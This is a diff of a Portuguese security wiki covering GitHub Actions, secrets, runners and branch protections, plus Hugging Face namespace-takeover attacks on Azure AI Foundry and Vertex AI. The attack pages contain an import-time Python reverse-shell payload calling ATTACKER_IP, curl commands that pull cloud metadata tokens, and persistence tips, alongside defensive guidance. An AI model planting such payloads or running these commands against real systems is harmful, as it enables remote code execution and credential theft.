- Não espere que o GitHub App saiba e faça tudo que um usuário pode.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Mas um GitHub App pode usar um [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para logar usuários _and_ fazer outras coisas.
|
||||
- Não construa um GitHub App se você _only_ quer agir como um GitHub user e fazer tudo que esse usuário pode fazer.
|
||||
- Se você estiver usando seu app com Github Actions e quiser modificar arquivos de workflow, você deve autenticar em nome do usuário com um OAuth token que inclua o escopo `workflow`. O usuário deve ter permissão de admin ou write no repositório que contém o arquivo de workflow. Para mais informações, veja "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- Não espere que o GitHub App saiba e faça tudo que um usuário pode fazer.
|
||||
- **Não use um GitHub App se você só precisa de um serviço "Login with GitHub"**. Mas um GitHub App pode usar um [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para logar usuários _and_ fazer outras coisas.
|
||||
- Não construa um GitHub App se você _apenas_ quer agir como um GitHub user e fazer tudo que esse user pode fazer.
|
||||
- Se você estiver usando seu app com GitHub Actions e quiser modificar arquivos de workflow, você deve autenticar em nome do usuário com um OAuth token que inclua o scope `workflow`. O usuário deve ter admin ou write permission ao repository que contém o arquivo de workflow. Para mais informações, veja "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Mais** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Isso **isn't a way to authenticate in github**, mas uma **malicious** Github Action poderia obter **unauthorised access to github** e **depending** nos **privileges** dados à Action vários **different attacks** poderiam ser realizados. Veja abaixo para mais informação.
|
||||
Isto **não é uma forma de autenticar no github**, mas um Github Action **malicioso** poderia obter **acesso não autorizado ao github** e **dependendo** dos **privileges** dados à Action diversos **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informação.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions permite automatizar a **execution of code when an event happen**. Normalmente o código executado está **somehow related to the code of the repository** (talvez build a docker container ou checar que o PR não contenha secrets).
|
||||
Git actions permitem automatizar a **execução de código quando um evento acontece**. Normalmente o código executado está **de alguma forma relacionado com o código do repository** (talvez construir um docker container ou verificar que o PR não contenha secrets).
|
||||
|
||||
### Configuration
|
||||
|
||||
Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuration of the github actions** para a organização.
|
||||
Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuração do github actions** para a organization.
|
||||
|
||||
É possível desabilitar totalmente o uso de github actions, **allow all github actions**, ou apenas permitir certas actions.
|
||||
É possível desativar completamente o uso de github actions, **allow all github actions**, ou apenas permitir certas actions.
|
||||
|
||||
Também é possível configurar **who needs approval to run a Github Action** e as **permissions of the GITHUB_TOKEN** de uma Github Action quando ela é executada.
|
||||
Também é possível configurar **quem precisa de approval para executar um Github Action** e as **permissões do GITHUB_TOKEN** de um Github Action quando ele é executado.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action geralmente precisa de algum tipo de secrets para interagir com github ou aplicações de terceiros. Para **avoid putting them in clear-text** no repo, github permite colocá-los como **Secrets**.
|
||||
Github Action geralmente precisam de algum tipo de secrets para interagir com github ou aplicações third party. Para **evitar colocá-los em clear-text** no repo, o github permite colocá-los como **Secrets**.
|
||||
|
||||
Esses secrets podem ser configurados **para o repo ou para toda a organization**. Então, para que a **Action to be able to access the secret** você precisa declará-lo assim:
|
||||
Esses secrets podem ser configurados **para o repo ou para toda a organization**. Então, para que a **Action consiga acessar o secret** você precisa declará-lo assim:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -168,90 +168,90 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Secrets **só podem ser acessados pelas Github Actions** nas quais estão declarados.
|
||||
> Secrets **só podem ser acessados pelos Github Actions** que os declararam.
|
||||
>
|
||||
> Uma vez configurados no repo ou nas organizations **users of github won't be able to access them again**, eles apenas poderão **alterá-los**.
|
||||
|
||||
> Uma vez configurados no repo ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles apenas poderão **alterá-los**.
|
||||
Portanto, a **única forma de roubar github secrets é conseguir acessar a máquina que está executando a Github Action** (nesse cenário você poderá acessar apenas os secrets declarados para a Action).
|
||||
|
||||
Portanto, a **única forma de roubar github secrets é conseguir acessar a máquina que está executando a Github Action** (nesse cenário você conseguirá acessar apenas os secrets declarados para a Action).
|
||||
### Git Environments
|
||||
|
||||
### Ambientes do Git
|
||||
|
||||
O Github permite criar **ambientes** onde você pode salvar **secrets**. Em seguida, você pode dar à Github Action acesso aos secrets dentro do ambiente com algo como:
|
||||
Github permite criar **environments** onde você pode salvar **secrets**. Depois, você pode dar ao github action acesso aos **secrets** dentro do environment com algo como:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Você pode configurar um environment para ser **acessado** por **todas as branches** (padrão), **apenas branches protegidas** ou **especificar** quais branches podem acessá‑lo.\
|
||||
Adicionalmente, as proteções do environment incluem:
|
||||
- **Revisores obrigatórios**: bloqueia jobs que visam o environment até serem aprovados. Habilite **Prevent self-review** para impor o princípio dos quatro olhos na própria aprovação.
|
||||
- **Deployment branches and tags**: restringe quais branches/tags podem fazer deploy para o environment. Prefira selecionar branches/tags específicos e garanta que essas branches sejam protegidas. Nota: a opção "Protected branches only" aplica‑se às proteções clássicas de branch e pode não se comportar como esperado se estiver usando rulesets.
|
||||
Você pode configurar um environment para ser **acessado** por **all branches** (padrão), **only protected** branches ou **specify** quais branches podem acessá‑lo.\
|
||||
Além disso, as proteções do ambiente incluem:
|
||||
- **Required reviewers**: bloqueia jobs direcionados ao environment até serem aprovados. Habilite **Prevent self-review** para impor um princípio de quatro‑olhos adequado na própria aprovação.
|
||||
- **Deployment branches and tags**: restrinja quais branches/tags podem fazer deploy para o environment. Prefira selecionar branches/tags específicos e garanta que esses branches estejam protegidos. Nota: a opção "Protected branches only" aplica‑se às proteções clássicas de branch e pode não se comportar como esperado se estiver usando rulesets.
|
||||
- **Wait timer**: atrasar deploys por um período configurável.
|
||||
|
||||
Também é possível definir um **número de revisões obrigatórias** antes de **executar** uma **action** usando um **environment** ou **aguardar** algum **tempo** antes de permitir que os deploys prossigam.
|
||||
Também é possível definir um **número de revisões requeridas** antes de **executar** uma **action** usando um **environment** ou **aguardar** algum **tempo** antes de permitir que os deploys prossigam.
|
||||
### Git Action Runner
|
||||
|
||||
Uma Github Action pode ser **executada dentro do github environment** ou pode ser executada em uma **infraestrutura de terceiros** configurada pelo usuário.
|
||||
Uma Github Action pode ser **executada dentro do github environment** ou pode ser executada em uma **third party infrastructure** configurada pelo usuário.
|
||||
|
||||
Várias organizações permitem executar Github Actions em uma **infraestrutura de terceiros** pois costuma ser **mais barato**.
|
||||
Várias organizações permitem executar Github Actions em uma **third party infrastructure** pois costuma ser **mais barato**.
|
||||
|
||||
Você pode **listar os self-hosted runners** de uma organização em _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
A forma de encontrar quais **Github Actions estão sendo executadas em infraestrutura não‑github** é buscar por `runs-on: self-hosted` no yaml de configuração da Github Action.
|
||||
A forma de descobrir quais **Github Actions estão sendo executadas em infraestrutura não‑github** é procurar por `runs-on: self-hosted` no YAML de configuração da Github Action.
|
||||
|
||||
Não é **possível executar uma Github Action de uma organização dentro de uma máquina self hosted** de uma organização diferente porque **um token único é gerado para o Runner** ao configurá‑lo para identificar a qual organização o runner pertence.
|
||||
Não é **possível executar uma Github Action de uma organização dentro de uma self hosted box** de outra organização porque **um token único é gerado para o Runner** quando ele é configurado para saber a que runner pertence.
|
||||
|
||||
Se o **Github Runner customizado estiver configurado em uma máquina dentro de AWS ou GCP**, por exemplo, a Action **poderia ter acesso ao metadata endpoint** e **roubar o token da service account** com o qual a máquina está executando.
|
||||
Se o custom **Github Runner for configurado em uma máquina dentro de AWS ou GCP**, por exemplo, a Action **poderia ter acesso ao endpoint de metadata** e **roubar o token da service account** com a qual a máquina está executando.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Se todas as actions (ou uma action maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que seja **maliciosa** e que **comprometa** o **container** onde está sendo executada.
|
||||
|
||||
> [!CAUTION]
|
||||
> Uma execução de **malicious Github Action** poderia ser **abusada** pelo atacante para:
|
||||
> Uma **malicious Github Action** run poderia ser **abusada** pelo atacante para:
|
||||
>
|
||||
> - **Roubar todos os secrets** que a Action tiver acesso
|
||||
> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token da SA usado para rodar a máquina pode ser acessado (provavelmente via metadata service)
|
||||
> - **Abusar o token** usado pelo **workflow** para **roubar o código do repo** onde a Action é executada ou **até mesmo modificá‑lo**.
|
||||
> - **Roubar todos os secrets** aos quais a Action tem acesso
|
||||
> - **Mover lateralmente** se a Action for executada dentro de uma **third party infrastructure** onde o token SA usado para rodar a máquina possa ser acessado (provavelmente via metadata service)
|
||||
> - **Abusar do token** usado pelo **workflow** para **roubar o código do repo** onde a Action é executada ou **até modificá‑lo**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections são projetadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de ser possível escrever código em alguma branch**.
|
||||
As branch protections são desenhadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de conseguir escrever código dentro de algum branch**.
|
||||
|
||||
As **branch protections de um repositório** podem ser encontradas em _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Não é **possível definir uma branch protection a nível de organização**. Portanto todas devem ser declaradas em cada repo.
|
||||
> Não é **possível definir uma branch protection a nível de organização**. Então todas devem ser declaradas em cada repo.
|
||||
|
||||
Diferentes proteções podem ser aplicadas a uma branch (como master):
|
||||
Diferentes proteções podem ser aplicadas a um branch (como ao master):
|
||||
|
||||
- Você pode **exigir um PR antes do merge** (assim não é possível fazer merge direto na branch). Se isso for selecionado, outras proteções podem estar em vigor:
|
||||
- **Exigir um número de aprovações**. É muito comum exigir 1 ou 2 pessoas adicionais para aprovar seu PR para que um único usuário não consiga fazer merge diretamente.
|
||||
- **Descartar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e depois adicionar código malicioso e fazer o merge.
|
||||
- **Exigir aprovação do push mais recente passível de revisão**. Garante que quaisquer novos commits após uma aprovação (incluindo pushes por outros colaboradores) reativem a revisão para que um atacante não possa enviar mudanças após aprovação e efetuar o merge.
|
||||
- **Exigir reviews de Code Owners**. Pelo menos 1 code owner do repo precisa aprovar o PR (assim usuários "aleatórios" não podem aprovar).
|
||||
- **Restringir quem pode descartar revisões de pull request.** Você pode especificar pessoas ou times autorizados a descartar revisões.
|
||||
- **Permitir atores especificados a contornar requisitos de pull request**. Esses usuários poderão contornar as restrições anteriores.
|
||||
- **Exigir que status checks passem antes do merge.** Alguns checks precisam passar antes de ser possível mesclar o commit (como um GitHub App reportando resultados de SAST). Dica: vincule checks obrigatórios a um GitHub App específico; caso contrário qualquer app poderia falsificar o check via Checks API, e muitos bots aceitam diretivas de pular (por exemplo, "@bot-name skip").
|
||||
- **Exigir resolução de conversas antes do merge**. Todos os comentários no código precisam ser resolvidos antes do PR poder ser mesclado.
|
||||
- **Exigir commits assinados**. Os commits precisam ser assinados.
|
||||
- Você pode **exigir um PR antes do merge** (assim você não pode mergear código diretamente no branch). Se isso for selecionado, outras proteções podem estar em vigor:
|
||||
- **Exigir um número de aprovações**. É muito comum exigir 1 ou 2 pessoas adicionais para aprovar seu PR para que um único usuário não consiga mergear código diretamente.
|
||||
- **Invalidar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e depois adicionar código malicioso e fazer o merge.
|
||||
- **Exigir aprovação do push reviewável mais recente**. Garante que quaisquer novos commits após uma aprovação (incluindo pushes por outros colaboradores) reativem a revisão, evitando que um atacante envie mudanças pós‑aprovação e faça o merge.
|
||||
- **Exigir reviews de Code Owners**. Pelo menos 1 code owner do repo precisa aprovar o PR (impedindo que "usuários aleatórios" aprovem).
|
||||
- **Restringir quem pode dispensar pull request reviews.** Você pode especificar pessoas ou equipes autorizadas a dispensar reviews.
|
||||
- **Permitir atores especificados contornarem requisitos de pull request.** Esses usuários poderão contornar as restrições anteriores.
|
||||
- **Exigir que status checks passem antes do merge.** Alguns checks precisam passar antes de poder mesclar o commit (como um GitHub App reportando resultados de SAST). Dica: vincule checks obrigatórios a um GitHub App específico; caso contrário qualquer app poderia falsificar o check via Checks API, e muitos bots aceitam diretivas de pular (por exemplo, "@bot-name skip").
|
||||
- **Exigir resolução de conversas antes do merge.** Todos os comentários no código precisam ser resolvidos antes do PR poder ser mesclado.
|
||||
- **Exigir commits assinados.** Os commits precisam ser assinados.
|
||||
- **Exigir histórico linear.** Impede que merge commits sejam enviados para branches correspondentes.
|
||||
- **Incluir administradores**. Se isso não estiver definido, admins podem contornar as restrições.
|
||||
- **Restringir quem pode push para branches correspondentes**. Restringe quem pode enviar um PR.
|
||||
- **Incluir administradores.** Se isto não estiver ativado, admins podem contornar as restrições.
|
||||
- **Restringir quem pode push para branches correspondentes.** Restringe quem pode enviar um PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Como você pode ver, mesmo se você conseguir obter algumas credenciais de um usuário, **os repos podem estar protegidos evitando que você envie código para master** por exemplo para comprometer o CI/CD.
|
||||
> Como pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **os repos podem estar protegidos impedindo que você faça push de código para master**, por exemplo para comprometer o pipeline CI/CD.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tags (como latest, stable) são mutáveis por padrão. Para impor um fluxo de quatro olhos nas atualizações de tag, proteja tags e encadeie proteções através de environments e branches:
|
||||
Tags (como latest, stable) são mutáveis por padrão. Para impor um fluxo de quatro‑olhos nas atualizações de tags, proteja tags e encadeie proteções através de environments e branches:
|
||||
|
||||
1) Na regra de proteção de tag, habilite **Require deployments to succeed** e exija um deployment bem‑sucedido para um environment protegido (por exemplo, prod).
|
||||
2) No environment alvo, restrinja **Deployment branches and tags** para a release branch (por exemplo, main) e opcionalmente configure **Required reviewers** com **Prevent self-review**.
|
||||
3) Na release branch, configure branch protections para **Exigir um pull request**, defina aprovações ≥ 1, e habilite tanto **Dismiss approvals when new commits are pushed** quanto **Require approval of the most recent reviewable push**.
|
||||
2) No environment alvo, restrinja **Deployment branches and tags** para o branch de release (por exemplo, main) e, opcionalmente, configure **Required reviewers** com **Prevent self-review**.
|
||||
3) No branch de release, configure branch protections para **Require a pull request**, defina aprovações ≥ 1 e habilite tanto **Dismiss approvals when new commits are pushed** quanto **Require approval of the most recent reviewable push**.
|
||||
|
||||
Essa cadeia impede que um único colaborador retague ou force‑publique releases editando o workflow YAML, já que os gates de deployment são aplicados fora dos workflows.
|
||||
Essa cadeia evita que um único colaborador re‑tague ou force‑publique releases editando o workflow YAML, já que os gates de deployment são aplicados fora dos workflows.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+25
-25
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cenário
|
||||
## Scenario
|
||||
|
||||
- O Azure AI Foundry Model Catalog inclui muitos modelos do Hugging Face (HF) para implantação com um clique.
|
||||
- Identificadores de modelo HF são Author/ModelName. Se um autor/org HF for deletado, qualquer pessoa pode re-registrar esse autor e publicar um modelo com o mesmo ModelName no caminho legado.
|
||||
- Pipelines e catálogos que puxam apenas pelo nome (sem pinagem de commit/integridade) irão resolver para repos controlados por atacantes. Quando o Azure implanta o modelo, loader code pode executar no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
|
||||
- Azure AI Foundry Model Catalog inclui muitos modelos da Hugging Face (HF) para implantação com um clique.
|
||||
- Identificadores de modelos HF são Author/ModelName. Se um author/org da HF for deletado, qualquer pessoa pode re-registrar esse author e publicar um modelo com o mesmo ModelName no caminho legado.
|
||||
- Pipelines e catálogos que puxam apenas pelo nome (sem commit pinning/integrity) irão resolver para repositórios controlados pelo atacante. Quando o Azure implanta o modelo, código do loader pode ser executado no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
|
||||
|
||||
Casos comuns de HF takeover:
|
||||
- Remoção do proprietário: Caminho antigo retorna 404 até o takeover.
|
||||
- Transferência de propriedade: Caminho antigo retorna 307 para o novo autor enquanto o autor antigo existe. Se o autor antigo for mais tarde deletado e re-registrado, o redirecionamento quebra e o repo do atacante é servido no caminho legado.
|
||||
Casos comuns de takeover do HF:
|
||||
- Ownership deletion: o caminho antigo retorna 404 até o takeover.
|
||||
- Ownership transfer: o caminho antigo responde 307 para o novo author enquanto o author antigo existe. Se o author antigo for deletado depois e re-registrado, o redirect quebra e o repositório do atacante é servido no caminho legado.
|
||||
|
||||
## Identificando Namespaces Reutilizáveis (HF)
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## End-to-end Attack Flow against Azure AI Foundry
|
||||
## Fluxo de Ataque de ponta a ponta contra Azure AI Foundry
|
||||
|
||||
1) No Model Catalog, encontre modelos HF cujos autores originais foram excluídos ou transferidos (antigo autor removido) no HF.
|
||||
2) Re-registre o autor abandonado no HF e recrie o ModelName.
|
||||
3) Publique um repo malicioso com loader code que é executado na importação ou requer trust_remote_code=True.
|
||||
4) Implemente o legado Author/ModelName a partir do Azure AI Foundry. A plataforma puxa o repo do atacante; o loader é executado dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
|
||||
1) No Catálogo de Modelos, encontre modelos HF cujos autores originais foram excluídos ou transferidos (autor antigo removido) no HF.
|
||||
2) Re-registre o autor abandonado no HF e recrie o ModelName.
|
||||
3) Publique um repositório malicioso com código loader que é executado na importação ou requer trust_remote_code=True.
|
||||
4) Implemente o Author/ModelName legado a partir do Azure AI Foundry. A plataforma puxa o repositório do atacante; o loader executa dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
|
||||
|
||||
Exemplo de fragmento de payload executado na importação (apenas demonstração):
|
||||
Fragmento de payload de exemplo executado na importação (apenas para demonstração):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -46,21 +46,21 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notas
|
||||
- Implantações do AI Foundry que integram o HF normalmente clonam e importam módulos de repo referenciados pela config do modelo (por exemplo, auto_map), o que pode desencadear execução de código. Alguns caminhos exigem trust_remote_code=True.
|
||||
- O acesso normalmente corresponde às permissões da managed identity/service principal do endpoint. Trate-o como um initial access foothold para acesso a dados e movimento lateral dentro do Azure.
|
||||
- Implantações do AI Foundry que integram HF tipicamente clonam e importam módulos do repo referenciados pela config do modelo (e.g., auto_map), o que pode disparar code execution. Alguns caminhos exigem trust_remote_code=True.
|
||||
- O acesso geralmente corresponde às permissões do endpoint’s managed identity/service principal. Treat it as an initial access foothold for data access and lateral movement within Azure.
|
||||
|
||||
## Dicas de pós-exploração (Azure Endpoint)
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Enumere variáveis de ambiente e MSI endpoints para tokens:
|
||||
- Enumerate environment variables and MSI endpoints for tokens:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Verifique o armazenamento montado, os artefatos de modelo e os serviços Azure acessíveis com o token adquirido.
|
||||
- Considere persistência deixando artefatos de modelo envenenados caso a plataforma re-puxe do HF.
|
||||
- Verifique o armazenamento montado, os artefatos do modelo e os serviços Azure alcançáveis com o token adquirido.
|
||||
- Considere persistência deixando artefatos do modelo envenenados caso a plataforma re-puxe do HF.
|
||||
|
||||
## Orientação defensiva para usuários do Azure AI Foundry
|
||||
## Orientações defensivas para usuários do Azure AI Foundry
|
||||
|
||||
- Fixe modelos por commit ao carregar do HF:
|
||||
```python
|
||||
@@ -68,13 +68,13 @@ from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Espelhar modelos HF verificados em um registro interno confiável e implantar a partir daí.
|
||||
- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram excluídos/transferidos; atualizar ou fixar.
|
||||
- Validar a existência do autor e a proveniência do modelo antes da implantação.
|
||||
- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar ou pin.
|
||||
- Validar a existência do Author e a proveniência do modelo antes da implantação.
|
||||
|
||||
## Heurísticas de Reconhecimento (HTTP)
|
||||
|
||||
- Autor excluído: página do autor 404; caminho do modelo legado 404 até a tomada de controle.
|
||||
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for depois excluído e re-registrado, o caminho legado serve conteúdo do atacante.
|
||||
- Author deletado: página do Author 404; caminho legado do modelo 404 até takeover.
|
||||
- Modelo transferido: caminho legado 307 para o novo Author enquanto o Author antigo existe; se o Author antigo for deletado e re-registrado depois, o caminho legado serve conteúdo do atacante.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
|
||||
+29
-29
@@ -4,20 +4,20 @@
|
||||
|
||||
## Cenário
|
||||
|
||||
- Vertex AI Model Garden permite a implantação direta de muitos modelos do Hugging Face (HF).
|
||||
- Identificadores de modelo do HF seguem o formato Author/ModelName. Se um author/org no HF for excluído, o mesmo nome de author pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
|
||||
- Pipelines, SDKs ou catálogos cloud que busquem apenas pelo nome (sem pinning/integrity) irão puxar o repo controlado pelo atacante. Quando o modelo é implantado, o código de loader desse repo pode executar dentro do container do endpoint do Vertex AI, resultando em RCE com as permissões do endpoint.
|
||||
- Vertex AI Model Garden permite a implantação direta de muitos modelos da Hugging Face (HF).
|
||||
- Identificadores de modelo HF são Author/ModelName. Se um autor/org no HF for deletado, o mesmo nome de autor pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
|
||||
- Pipelines, SDKs, or cloud catalogs que buscam apenas pelo nome (sem pinning/integrity) puxarão o repo controlado pelo atacante. Quando o modelo é implantado, o loader code desse repo pode executar dentro do Vertex AI endpoint container, resultando em RCE com as permissões do endpoint.
|
||||
|
||||
Dois casos comuns de takeover no HF:
|
||||
- Remoção de propriedade: o caminho antigo retorna 404 até que alguém re-registre o author e publique o mesmo ModelName.
|
||||
- Transferência de propriedade: o HF emite 307 redirects do Author/ModelName antigo para o novo proprietário. Se o author antigo for depois excluído e re-registrado por um atacante, a cadeia de redirect é quebrada e o repo do atacante passa a servir no caminho legado.
|
||||
- Remoção do proprietário: o caminho antigo retorna 404 até que alguém re-registre o autor e publique o mesmo ModelName.
|
||||
- Transferência de propriedade: o HF emite 307 redirects do antigo Author/ModelName para o novo autor. Se o autor antigo for posteriormente deletado e re-registrado por um atacante, a cadeia de redirects é quebrada e o repo do atacante responde no caminho legado.
|
||||
|
||||
## Identificando Namespaces Reutilizáveis (HF)
|
||||
|
||||
- Author antigo excluído: a página do author retorna 404; o caminho do modelo pode retornar 404 até ocorrer um takeover.
|
||||
- Modelos transferidos: o caminho do modelo antigo emite 307 para o novo owner enquanto o author antigo existir. Se o author antigo for depois excluído e re-registrado, o caminho legado passará a resolver para o repo do atacante.
|
||||
- Autor antigo deletado: a página do autor retorna 404; o caminho do modelo pode retornar 404 até o takeover.
|
||||
- Modelos transferidos: o caminho antigo do modelo emite 307 para o novo proprietário enquanto o autor antigo existir. Se o autor antigo for depois deletado e re-registrado, o caminho legado resolverá para o repo do atacante.
|
||||
|
||||
Verificações rápidas com curl:
|
||||
Checagens rápidas com curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -32,20 +32,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
|
||||
1) Descobrir namespaces de modelos reutilizáveis que o Model Garden lista como deployable:
|
||||
- Encontrar modelos HF no Vertex AI Model Garden que ainda aparecem como “verified deployable”.
|
||||
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi removido depois.
|
||||
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi posteriormente removido.
|
||||
|
||||
2) Re-registrar o autor deletado no HF e recriar o mesmo ModelName.
|
||||
|
||||
3) Publicar um repo malicioso. Incluir código que seja executado no carregamento do modelo. Exemplos que comumente são executados durante o carregamento de modelos do HF:
|
||||
- Side effects in __init__.py of the repo
|
||||
- Custom modeling_*.py or processing code referenced by config/auto_map
|
||||
- Code paths that require trust_remote_code=True in Transformers pipelines
|
||||
3) Publicar um repositório malicioso. Incluir código que execute no carregamento do modelo. Exemplos que comumente executam durante o model load do HF:
|
||||
- Efeitos colaterais em __init__.py do repositório
|
||||
- Arquivos modeling_*.py customizados ou código de processamento referenciado por config/auto_map
|
||||
- Caminhos de código que requerem trust_remote_code=True em pipelines Transformers
|
||||
|
||||
4) A deployment do Vertex AI do legacy Author/ModelName agora puxa o repo do atacante. O loader é executado dentro do container do endpoint do Vertex AI.
|
||||
4) Uma implantação do Vertex AI para o Author/ModelName legado agora puxa o repo do atacante. O loader é executado dentro do contêiner do endpoint do Vertex AI.
|
||||
|
||||
5) O payload estabelece acesso a partir do ambiente do endpoint (RCE) com as permissões do endpoint.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
Exemplo de fragmento de payload executado na importação (apenas para demonstração):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notas
|
||||
- Loaders do mundo real variam. Muitas integrações Vertex AI HF clonam e importam módulos do repo referenciados pela config do modelo (por ex., auto_map), o que pode acionar code execution. Alguns usos exigem trust_remote_code=True.
|
||||
- O endpoint normalmente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para acesso a dados e lateral movement em GCP.
|
||||
- Loaders no mundo real variam. Muitas integrações Vertex AI HF clonam e importam repo modules referenciados pelo model’s config (e.g., auto_map), o que pode acionar execução de código. Alguns usos requerem trust_remote_code=True.
|
||||
- O endpoint tipicamente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para data access e lateral movement em GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Uma vez que code esteja rodando dentro do endpoint container, considere:
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- Enumerar environment variables e metadata em busca de credentials/tokens
|
||||
- Acessar storage anexado ou artefatos do modelo montados
|
||||
- Interagir com Google APIs via identidade do service account (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistência no artefato do modelo caso a plataforma re-puxe o repo
|
||||
- Acessar attached storage ou mounted model artifacts
|
||||
- Interagir com Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistência no model artifact se a plataforma re-pulls o repo
|
||||
|
||||
Enumere instance metadata se acessível (dependente do container):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Diretrizes defensivas para usuários do Vertex AI
|
||||
## Orientações defensivas para usuários do Vertex AI
|
||||
|
||||
- Fixar modelos por commit nos HF loaders para evitar substituição silenciosa:
|
||||
- Fixe os modelos por commit nos HF loaders para evitar substituição silenciosa:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Espelhar modelos HF verificados em um repositório/registry de artefatos interno confiável e implantar a partir daí.
|
||||
- Escanear continuamente codebases e configs em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar para novos namespaces ou fixar por commit.
|
||||
- No Model Garden, verificar a proveniência do modelo e a existência do autor antes da implantação.
|
||||
- Espelhe modelos HF verificados em um repositório/registro de artefatos interno confiável e implante a partir dele.
|
||||
- Faça varreduras contínuas em codebases e configs por Author/ModelName hard-coded que foram deletados/transferidos; atualize para os novos namespaces ou fixe por commit.
|
||||
- No Model Garden, verifique a proveniência do modelo e a existência do author antes da implantação.
|
||||
|
||||
## Heurísticas de Reconhecimento (HTTP)
|
||||
|
||||
